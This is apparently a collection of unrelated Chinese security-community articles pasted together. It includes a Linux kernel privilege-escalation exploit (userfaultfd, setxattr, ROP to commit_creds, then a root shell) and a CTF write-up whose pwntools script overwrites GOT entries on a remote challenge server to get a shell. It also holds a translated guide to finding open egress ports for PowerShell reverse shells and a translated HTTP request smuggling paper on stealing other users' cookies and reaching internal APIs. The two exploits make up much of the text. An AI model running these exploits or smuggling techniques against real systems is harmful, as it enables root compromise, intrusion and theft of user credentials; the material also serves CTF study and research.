ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] push trapped in userfaultfd.");
pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81c37bc0;
kernel_base += kernel_offset;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
static void *
double_free_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] pop trapped in userfaultfd.");
puts("[*] construct the double free...");
pop(page);
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
size_t pop_rdi_ret = 0xffffffff81034505;
size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
long flag_fd;
char flag_buf[0x100];
static void *
hijack_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] setxattr trapped in userfaultfd.");
puts("[*] trigger now...");
for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);
// trigger
pop_rdi_ret += kernel_offset;
xchg_rax_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
puts("[+] back to userland successfully!");
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
puts("[*] execve root shell now...");
system("/bin/sh");
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
void push(char *data)
{
if (ioctl(dev_fd, 0x57AC0001, data) < 0)
errExit("push!");
}
void pop(char *data)
{
if (ioctl(dev_fd, 0x57AC0002, data) < 0)
errExit("pop!");
}
int main(int argc, char **argv, char **envp)
{
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;
dev_fd = open("/proc/stack", O_RDONLY);
page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);
// reserve object to protect freelist
for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");
// create uffd thread for leak
uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);
// left dirty data in kmalloc-32
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");
// leak kernel base
push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);
// create uffd thread for double free
uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);
// construct the double free
push("arttnba3");
pop(uffd_buf_uaf);
// create uffd thread for hijack
uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset; // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret
// userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread
seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0);
}
运行即可 get root shell
## 0xFF.What’s more?
userfaultfd + setxattr
毫无疑问是一个十分巧妙的技术，除了笔者在本篇文章中所叙述的“堆占位”技术以外，他更多的被用于在内核空间中完成“堆喷射”，相比起 sendmsg
等传统堆喷射技术，这一技术的限制无疑少了很多，且也更为灵活
笔者将在后续的其他文章中叙述如何利用 userfaultfd + setxattr 这一技术完成堆喷射 | 社区文章 |
<https://hackme.inndy.tw/scoreboard/>
题目很有趣，我做了tictactoe这个题目感觉还不错，我把wp分享出来，方便大家学习
tictactoe的题目要求是：
nc hackme.inndy.tw 7714
Can you beat my tic-tac-toe AI?
把tictactoe直接拖入ida中:
main函数：
computerMove函数：
draw函数：
playerMove函数：
win函数：
print_result函数：
input函数：
这个题目挺复杂的，但是在反编译的地方我找到一个题目的源码在：<https://gist.github.com/MatthewSteel/3158579，这个题目就是由这个游戏修改而成>
先运行一下程序看一下这个程序干了啥：
这个程序输入9的时候可以输入改变的数字，输入其他数字可以把输入的数字放入指定的位置
再看看程序开启了哪些保护:
这个题目开了栈不可执行和canary保护，所以不可能是栈溢出
这个程序的漏洞点是在：playerMove函数里面，由于输入的数字没有任何限制，所以可以输入负数覆盖0x804B056之前的数字，在地址0x804B056之前由got表，所以可以修改got表中的内容来改变程序的流程，但是这个程序如果改变got表中的内容的话就只有三次机会，每次只能修改一个字节，然后就会判断你失败，最后强行退出程序，由于Linux动态运行库会延迟绑定，这个可以参考
<http://blog.csdn.net/virtual_func/article/details/48789947> 下面是getshell的过程：
（1）通过两次修改把memset@got的后两位地址改成0x08048BD5,也就是反编译中的main函数的第37行调用playerMove函数的地址，这样就使整个程序变成一个循环
（2）利用循环修改open函数为：`printf("Here is your flag: %s\n",
buf);`的地址，也就是0x08048CB4这个位置，目的是为了泄露libc的基地址
（3）利用循环把exit函数改成main函数的第37行调用playerMove函数的地址，目的是为了在泄露libc基地址后，再计算MAGIC，之后跳转到大循环中
（4）上面的open函数和exit函数修改完成之后，只要把0x804B04D中数据改成ff ff
ff,就可以赢得游戏，程序就会运行到读flag的地方，也就可以运行你布置好的流程，通过这个循环获取到MAGIC地址后再跳到main函数的第37行调用playerMove函数的地址
（5）通过playerMove函数修改0x804B04D中数据改成ff 01 ff 使win判断失败，继续进入到大循环中
（6）再大循环中把open@got指针改成exit(0);的地址,也就是0x08048CF2，把exit@got改成MAGIC的地址
（7）把0x804B04D中数据改成ff ff ff,再次赢得游戏，就可以getshell了
下面是我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
import sys
from termios import tcflush, TCIFLUSH
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC = 0x3AC69 #locallibc
remoteMAGIC = 0x3ac49 #remotelibc #libc6_2.23-0ubuntu3_i386.so
def debug(addr = '0x08048CF2'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
def input_number(number):
io.recv(timeout=5)
io.sendline('9')
#tcflush(sys.stdin, TCIFLUSH)
io.send(number)
time.sleep(1)
sys.stdout.flush()
#tcflush(sys.stdin, TCIFLUSH)
def input_addr(addr):
io.recvuntil('Input move (9 to change flavor): ',timeout=5)
io.sendline(addr)
sys.stdout.flush()
#time.sleep(1)
#tcflush(sys.stdin, TCIFLUSH)
elf = ELF('/home/h11p/hackme/tictactoe')
#io = process('/home/h11p/hackme/tictactoe')
io = remote('hackme.inndy.tw', 7714)
#debug()
io.recvuntil('Play (1)st or (2)nd? ')
io.sendline('1')
#change memset to loop
input_number(p32(0xd5))
input_addr('-34')
input_number(p32(0x8b))
input_addr('-33')
#change open to printf_flag
input_number(p32(0xb4))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to loop
input_number(p32(0xd5))
input_addr('-46')
input_number(p32(0x8b))
input_addr('-45')
input_number(p32(0x04))
input_addr('-44')
input_number(p32(0x08))
input_addr('-43')
#success get flag
input_number(p32(0xff))
input_addr('-9')
input_number(p32(0xff))
input_addr('-8')
input_number(p32(0xff))
input_addr('-7')
#leak libc_base
libc_leak=io.recv(timeout=5).splitlines()[1][19:23]
libc_leak=u32(libc_leak)
print hex(libc_leak)
libc_base=libc_leak-0x3f12
print "libc_base:"+hex(libc_base)
#MAGIC_addr=libc_base+localMAGIC
MAGIC_addr=libc_base+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
#unsuccess get flag
input_number(p32(1))
input_addr('-8')
#change open to exit
input_number(p32(0xce))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to MAGIC_addr
Bytes_MAGIC_addr=bytearray.fromhex(hex(MAGIC_addr)[2:])
exit_addr=-46
for i in Bytes_MAGIC_addr[::-1]:
input_number(p32(i))
input_addr(str(exit_addr))
exit_addr=exit_addr+1
#success get flag
input_number(p32(0xff))
input_addr('-8')
io.interactive()
#io.recv()
效果是：
Ps:打远程会经常断，要试几次 | 社区文章 |
# 2月4日安全热点 - JenX物联网僵尸网络 / Scammers
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
新的JenX物联网DDoS僵尸网络
https://www.bleepingcomputer.com/news/security/new-jenx-iot-ddos-botnet-offered-part-of-gaming-server-rental-scheme/
Firefox 59将添加一个新的隐私功能，从URL中删除敏感数据
https://www.bleepingcomputer.com/news/software/firefox-59-will-add-a-new-privacy-feature-that-strips-sensitive-data-from-urls/
Scammers从Bee Token ICO参与者那里窃取价值100万美元的以太坊
https://www.bleepingcomputer.com/news/cryptocurrency/scammers-steal-over-1-million-worth-of-ethereum-from-bee-token-ico-participants/
PSA：停止将您的比特币钱包密码上传到文件共享网站
<http://www.zdnet.com/article/stop-uploading-your-bitcoin-wallet-keys-and-credit-cards-to-file-sharing-sites/>
## 技术类
Linux恶意软件分析 – 为什么自制软件加密不好
https://medium.com/@jacob16682/linux-malware-analysis-why-homebrew-encryption-is-bad-48e349b252f9
win32k 逆向工程
https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html
Satori添加利用链操控无线IP摄像机
<https://blog.fortinet.com/2018/02/02/satori-adds-known-exploit-chain-to-slave-wireless-ip-cameras>
（ISC）²系统安全认证执业者（SSCP）
https://www.coursera.org/specializations/sscp-training
2017 年漏洞态势
[https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A–%E6%BC%8F%E6%B4%9E%E5%8A%BF%E6%80%81.pdf](https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A--%E6%BC%8F%E6%B4%9E%E5%8A%BF%E6%80%81.pdf)
2018中国区块链行业白皮书
[https://36kr.com/p/5117525.html](https://36kr.com/p/5117525.html?from=timeline)
GraphQL简介
https://hackernoon.com/an-introduction-to-graphql-2c3f7d8fb4e0
Dr. Mine – 一个节点脚本，用于帮助浏览器内的加密自动检测
https://github.com/1lastBr3ath/drmine | 社区文章 |
# 【技术分享】使用PowerShell Payload暴力破解出口过滤规则
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://www.blackhillsinfosec.com/?p=5290>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：150RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**前言**
想必各位同学都曾经历过这样的事情吧？你花费了大量的时间和精力去设计一封网络钓鱼邮件，然后还注册了一个看起来“毫无破绽”的域名，并且将所有的数据处理器和你MSF中的multi/handler和其他配置也都全部配置妥当了。然后你就开始像“姜太公钓鱼”一样开始等待着目标上钩，但是当你发现没人买你的账时，你就一脸懵逼了。这是为什么呢？因为出口数据包过滤规则（egress
packet filtering）让你所有的努力全部付诸东流了。
虽然现在也有很多专门针对这种过滤规则的payload和监听器可以使用，而且它们通常都不会出什么大问题。但是如果你与我一样喜欢给自己多一些选择的余地，那么我会推荐你尝试使用一下PowerShell。
**准备工作**
为了更好地给大家演示，我编写了一份只有几行代码的脚本。在这个脚本的帮助下，我就可以尝试使用每一个端口来向我的监听器发送数据包，直到我找出一个开放的端口为止。找到之后，我就可以在我的payload中使用这个端口了。
先设置好你的主机地址和监听器，然后在“$wait”变量中设置超时时间（2000毫秒）。当然了，你也可以适当增加这个超时时间，以保证你的客户端与服务器端有足够的时间进行连接。但是增加超时意味着你在遍历端口的时候将会花费更多的时间，所以你要根据实际情况来设置这个值，在这里我设置成了2000毫秒。
在服务器端我同样也有很多选择，所以我可以根据自己的需要去设置相应的参数。无论是Metasploit的mulit/handler，还是其他各种不同的监听工具（nc、ncat、PowerCat、gcat、以及dnscat等等），我需要设计出一种能够让任意端口都能到达我这个反向SHELL端口的解决方案，于是我选择使用IPtables，让1-65535端口进来的数据都重定向到我multi/handler监听的4444端口。
配置好了IPtable之后，启动metasploit的反向tcp监听器。别忘了，我们在iptables的命令中设置的是端口4444，这里可不能出错。
首先，用社会工程学工具集（SET）生成我们的PowerShell反向tcp
payload，然后编辑payload，将前面给出的那部分代码添加到payload代码的前面。在此，我只需要修改一小部分代码，让payload使用我在代码开头所设置的IP地址（$address
= $Computername）。然后注释掉下面那行设置端口的代码，因为我已经在前面的foreach循环中已经设置好端口号了（$port）。
我们可以在PowerShell的控制台中看到shell的运行状态，当脚本扫描到端口25时将会停止，因为端口25是该shell脚本检测到的第一个开放端口。
**灵活即新颖**
虽然我知道可以使用Metasploit中提供的payload（multi/shell/reverse_tcp_allports）来监听所有端口，但是正如我之前所说的，我们追求的是灵活性。因为Metasploit提供的反向tcp监听器并不适用于很多特殊的情况，所以我们就要避免受到这样的限制。也许你手头上有一台处于隔离区中的从未使用过的Web开发服务器，你有这台服务器的root访问权限，而你正打算在这台服务器上加载你的payload。但是你要知道，在安装这些工具的过程中你很可能会遇到各种各样的麻烦，并且还会受到很多环境限制。无论你因为什么原因而放弃使用Metasploit提供的multi/shell/reverse_tcp_allports
payload，下面这项技术肯定可以给你提供莫大的帮助。
**Powercat Payload**
我配置好了Powercat，然后用Powercat生成了一个payload。
虽然这个payload的代码量巨大，但是我们可以在代码的底部找到Main函数的执行代码。
如上图所示，主函数的运行还需要一些参数变量的支持。于是我便将我的循环代码放在了Main函数被调用之前，以此来保证我的代码可以最先得到执行。接下来，我修改了Main函数的调用参数，我用循环中相对应的参数替换掉了之前的IP地址和端口号。
我将这段脚本代码保存在了“payload.ps1”文件中，然后开启了我的netcat监听器，我通过“while
true”来保证监听器一直处于运行状态。当然了，在这里我仍然要使用端口4444。我们必须要保证payload能够正确扫描到对应端口，并且在扫描成功之后终止监听器的运行。
然后运行payload.ps1
当脚本扫描到端口25（第一个开放端口）之后，我们就成功了！
**
**
**总结**
没错，就是这么简单！如果网络系统会屏蔽你的出口流量，那么你只需要写几行代码，配置一些IPtable，PowerShell就可以帮你的网络流量找到一条“出路”。请你记住，即便你可以使用Metasploit提供的各种监听器，但你也可以向你的PowerShell
Payload中添加一个简单的循环，这样将会极大地提升你的成功率。
友情提醒：如果你所处的环境中有企业级防火墙的保护，那么你所得到的实验结果很可能会不同。除此之外，使用PowerShell来扫描开放端口的方法也不止这一种，感兴趣的同学可以自行探索其他的方法。 | 社区文章 |
# HTTP Desync Attacks: Smashing into the Cell Next Door
文章转载议题:<https://www.blackhat.com/us-19/briefings/schedule/index.html#http-desync-attacks-smashing-into-the-cell-next-door-15153(相关文章资源放到文章结尾>)
James Kettle - [email protected] - @albinowax
## 写在前面
第一次译是在议题出来的第二天，然而当时也有很多的地方看不懂，所以有的地方是完全按照ppt的英文句意来译了。后来师傅们发现存在很多bug的地方，在这里只能说句对不起了。最近自己也去看了很多关于smuggle的案例。个人感觉漏洞的成因是后端使用一个socket去处理http请求从而达到向别人http报文偷毒的可能。在文中大部分内容是介绍如何在真实环境中验证走私但不危害别人的请求，我觉得大致有两个前提：1.前后端处理消息长度的方式不一样，并且后端要能够识别Transfer-Encoding，并依此来分割http请求。2.找到一个存储post请求的地方，最好是能够对post的参数进行反射，为了验证我们是否将别人的请求带回。
如果文中还有不妥的地方，烦请各位师傅指出
## Abstract
传统上，HTTP请求被视为独立的独立实体。在本文中，我将探讨一种远程、未经身份验证的攻击者能够打破这种隔离并将其请求转接到其他人身上的技术。通过这种技术，我可以在众多商业和军事系统的WEB基础应用上扮演一位操作者，在他们的虚拟环境中使用漏洞，并且在bug
bounties中获得超过6万美元
将这些目标作为案例研究，我将向您展示如何巧妙地修改受害者的请求，以将其路由到恶意领域，调用有害的响应。我还将演示在您自己的请求中使用后端重组，攻击基于前端的各种信任，获得对内部API的最大特权访问，投毒Web缓存，并危及paypal的登录页面。
HTTP Request
Smuggling(后文称为请求走私)最初是由WatchFire1于2005年记录下来的，但由于其困难和附带损害的可怕名声，使得当Web服务的敏感性增常期间，它大多被忽视。除了新的攻击变种和利用途径之外，我将帮助您使用定制的开源工具和一种改进的方法来处理这一遗留问题，以最小的风险进行可靠的黑盒检测、评估和利用
## Core concepts
自HTTP/1.1以来，通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。这个协议非常简单——HTTP请求只需背靠背地放置，服务器解析报头就可以知道每个报头的结束位置和下一个报头的开始位置。这经常与HTTP
pipeline2混淆，后者是少见的类型，在本文的攻击描述中不予介绍。
这本身是无害的。然而，现代网站是由一系列的系统组成的，都是通过HTTP进行对话的。此多层体系结构接收来自多个不同用户的HTTP请求，并通过单个TCP/TLS连接将其路由：
这意味着，后端与前端关于“每条消息在哪里结束”达成一致是至关重要的。否则，攻击者可能会发送一条不明确的消息，使后端将其解释为两个不同的HTTP请求
这使攻击者能够在下一个合法用户请求开始时预先处理任意内容。在本文中，走私内容将被称为“前缀”，并以橙色突出显示。
让我们假设前端浏览器优先处理第一个内容长度头，后端优先处理第二个内容长度头。从后端的角度来看，TCP流可能看起来像：
在引擎中，前端浏览器将蓝色和橙色数据转发到后端，后端在发出响应之前只读取蓝色内容。这使得后端套接字受到橙色数据的污染。当合法的绿色请求到达时，它最终附加到橙色内容上，导致意外的响应。
在这个例子中，注入的“G”会破坏绿色用户的请求，他们可能会得到“未知方法GPOST”的响应。
本文中的每个攻击都遵循这个基本格式。WatchFire论文描述了一种称为“反向请求走私”的替代方法，但这依赖于前端和后端系统之间的管道连接，因此很少有选择。
在现实生活中，双重content-length技术很少起作用，因为许多系统明智地拒绝具有多个内容长度头的请求。相反，我们将使用分块编码攻击系统-这次我们利用RFC2616规范：
**如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段，则必须忽略后者**
由于规范默许可以使用Transfer-Encoding和Content-Length处理请求，因此很少有服务器拒绝此类请求。每当我们找到一种方法，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。因此我们可以取消整个系统的同步。
您可能不太熟悉分块编码，因为像Burp
Suite这样的工具会自动将分块的请求/响应缓冲到常规消息中，以便于编辑。在分块的消息中，正文由0个或多个分块组成。每个块由块大小、换行符和块内容组成。消息以0大小的块终止。以下是使用分块编码进行的简单失步(desynchronisation)攻击：
在这种情况，我们没有在这里隐藏传输编码头(Transfer-Encoding
header)，因此此漏洞主要适用于前端根本不支持分块编码的系统，这在使用Akamai cdn(content delivery
network)的许多网站上都可以看到。
如果后端不支持分块编码，我们需要翻转偏移量：
这种技术在相当多的系统上都起作用，但是我们可以让传输编码头难以被发现，从而利用更多的资源，这样一个系统就“看不到它”。这可以通过使用服务器的HTTP解析的差异来实现。下面是一些只有部分服务识别传输编码的请求示例：分块头(Transfer-Encoding)。在本研究中，每个都成功地用于攻破至少一个系统：
如果前端和后端服务器都有这些处理，那么每个处理都是无害的，否则都是一个重大威胁。有关更多技术，请查看Regilero正在进行的research4.。我们稍后将使用其他技术查看实际示例。
## Methodology
请求走私背后的理论是直截了当的，但是不受控制变量的数量和我们对前端所发生事情的完全不了解会导致复杂的情况。
我已经开发了应对这些挑战的技术和工具，并将它们组合成以下简单的方法，我们可以利用这些方法来追查请求的走私漏洞并证明其影响：
## Detect
检测请求走私漏洞的明显方法是发出一个含糊不清的请求，然后发出一个正常的“受害者”请求，然后观察后者是否得到意外的响应。但是，这极易受到干扰；如果另一个用户的请求在受害者请求之前击中中毒的套接字，那么他们将得到损坏的响应，我们将不会发现该漏洞。这意味着，在流量很大的网站，如果不在过程中利用大量用户去测试，就很难证明存在
**请求走私** 漏洞。即使在没有其他流量的站点上，您也会面临应用程序级异常终止连接所导致的风险。
为了解决这个问题，我开发了一种检测策略，它使用一系列请求包，使得易受攻击的后端系统挂起并超时连接。这种技术几乎没有误报，可以抵抗应用程序级的行为从而导致的误报，最重要的是，它几乎没有影响其他用户的风险。
假设前端服务器使用Content-Length头，后端使用Transfer-Encoding头。我简称这个目标为cl.te。我们可以通过发送以下请求来检测潜在的请求走私：
由于内容长度较短，前端将只转发蓝色文本，后端将在等待下一个块大小时超时。这将导致可观察到的时间延迟。
如果两个服务器都是同步的（te.te或cl.cl），则前端将拒绝该请求，或者两个系统都将无害地处理该请求。最后，如果从另一个角度（te.cl）执行去同步，由于块大小“q”无效，前端将拒绝消息而不将其转发到后端。这可以防止后端套接字中毒。
我们可以使用以下请求安全地检测te.cl去同步：
由于“0”分块的终止，前端将只转发蓝色文本，后端将超时等待X到达。
如果Desync以另一种方式发生（cl.te），那么这种方法将使用"X"毒害后端套接字，可能会危害合法用户。幸运的是，通过始终运行首先检测方法，我们可以排除这种可能性。
这些请求可以针对头解析中的任意差异进行调整，并用于通过Desyn chronize5自动识别请求走私漏洞-一个开发用于帮助此类攻击的开源Burp Suite
扩展。它们现在也用于Burp
Suite的scanner。尽管这是一个服务器级的漏洞，但单个域上的不同端点通常路由到不同的目标，因此该技术应单独应用于每个端点。
## Confirm
在这一点上，你已经尽了最大努力，而不会给其他用户带来副作用的风险。然而，许多客户不愿意在没有进一步证据的情况下认真对待报告，所以这就是我们将要克服的。证明请求走私的全部危害的下一步是证明后端套接字中毒是可能的。为此，我们将发出一个旨在毒害后端套接字的请求，然后发出一个希望成为毒害受害者的请求，明显地改变了响应。
如果第一个请求导致错误，后端服务器可能会决定关闭连接，丢弃中毒缓冲区并破坏攻击。尝试通过将设计用于接受POST请求的端点作为目标，并保留任何预期的GET/POST参数来避免这种情况。
有些站点有多个不同的后端系统，前端查看每个请求的方法、URL和头，以决定将其路由到何处。如果受害者请求路由到与攻击请求不同的后端，那么攻击将失败。因此，“攻击”和“受害者”请求最初应尽可能相似。
如果目标请求看起来像：
那么，一次CL.TE毒害攻击尝试看起来像是：
如果攻击成功，受害者请求（绿色）将得到404响应。
te.cl攻击看起来很相似，但是需要一个封闭块，这意味着我们需要自己指定所有的头，并将受害者请求放在正文中。确保前缀中的内容长度略大于正文：
如果一个站点是运行的，另一个用户的请求可能会击中您之前投毒的套接字，这将使您的攻击失败，并可能使用户不安。因此，此过程通常需要进行几次尝试，在高流量站点上可能需要数千次尝试。所以请谨慎和克制行为
## Explore
我将使用一系列真实的网站演示其余的方法。像往常一样，我专门针对那些明确表示愿意通过运行bug奖励计划与安全研究人员合作的公司。多亏了大量涌现的私人程序和不打补丁的习惯，我不得不编写很多案例。在明确声明网站的地方，请记住，它们是少数能够抵御这种攻击的安全网站之一。
现在我们已经确定套接字投毒是可能的，下一步是收集信息，这样我们就可以发动一次全面的攻击。
前端通常会附加和重写HTTP请求头，如x-forwarded-host和x-forwarded-for，以及许多经常难以猜测名称的自定义头。我们的走私请求可能缺少这些头，这可能导致意外的应用程序行为和失败的攻击。
幸运的是，有一个简单的策略另辟蹊径，并且可以看到这些隐藏的header头。这使得我们可以通过手动添加头来恢复功能，甚至可以启用进一步的攻击。
只需在目标应用程序上查找一个反射post参数的页面，对参数进行无序排列，使反射的参数排列最后，稍微增加内容长度，然后将生成的请求进行走私：
绿色请求将在其到达login[email]参数之前由前端重写，因此当它被反射回来时，将泄漏所有内部头：
通过增加Content-Length头，您可以逐步检索更多信息，直到您试图读取超过受害者请求末尾的内容，并且受害者的请求会超时。
有些系统完全依赖于前端系统的安全性，一旦您bypass，您就可以直接为所欲为。在login.new
relic.com上，“后端”系统是反代的，因此更改走私的主机头授予我访问不同的新relic系统的权限。最初，我访问的每个内部系统都认为我的请求是通过HTTP发送的，并以重定向方式响应的：
使用前面观察到的x-forwarded-proto头很容易修复：
通过一些目录，我在目标上找到了一个有用的端点：
错误消息清楚地告诉我需要某种类型的授权头，但却没有告诉我字段名。我决定尝试前面看到的“x-nr-external-service”头段：
不幸的是，这不起作用——我们还是得到直接访问该URL时的禁止响应(403 forbidden)。这表明前端正在使用x-nr-external-service头来指示请求来自Internet，因为我们是通过走私进行的请求，因此丢失了部分请求头，但是我们已经诱使系统认为我们的请求来自内部。这是非常有意义的，但没有直接的用处——我们仍然需要缺少的授权头的名称。
此时，我可以将已处理的请求反射技术应用到一系列端点，直到找到一个具有正确请求头的端点。相反，我决定从上一次我的New
Relic6中查询一些笔记，这显示了两个非常宝贵的报头-Server-Gateway-Account-Id and Service- Gateway-Is-Newrelic-Admin。使用这些工具，我可以获得对其内部API的完全管理级访问：
New Relic部署了一个修补程序，并将根本原因诊断为F5 gateway中的一个弱点。据我所知，没有可用的补丁，这意味着在写作的时候这仍然是0day。
## Exploit
直接进入内部API确实不错，但它很少是我们唯一的选择。我们还可以针对浏览目标网站的每个人发起大量不同的攻击。
要确定哪些攻击可以应用到其他用户，我们需要了解哪些类型的请求可以被破坏。从“confirm”阶段重复套接字中毒测试，但不断调整“受害者”请求，直到它类似于典型的GET请求。您可能会发现，您只能使用某些方法、路径或头毒害请求。另外，尝试从不同的IP地址发出受害者请求-在极少数情况下，您可能会发现您只能对来自同一IP的请求进行毒害。
最后，检查网站是否使用Web缓存-这些可以帮助绕过许多限制，增加我们对哪些资源中毒的控制，并最终增加请求走私漏洞的严重性。
### Store
如果应用程序支持编辑或存储任何类型的文本数据，那么利用就非常容易。通过在受害者的请求前加上一个精心设计的存储请求，我们可以让应用程序保存他们的请求并将其显示给我们，然后窃取任何身份验证cookie/headers。下面是一个以Trello为目标的示例，使用其配置文件编辑端点：
一旦受害者的请求到达，它就会保存在我的个人资料中，暴露他们所有的头和cookie：
使用这种技术的唯一主要目的是丢失“&”之后发生的任何数据，这使得从表单编码的post请求中窃取主体很困难。我花了一段时间试图通过使用可选的请求编码来解决这个限制，最终放弃了，但我仍然怀疑这是可能的。
数据存储的机会并不总是如此明显——在另一个网站上，我可以使用“联系我们”表单，最终触发一封包含受害者请求的电子邮件，并获得2500美元的额外收入。
### Attack
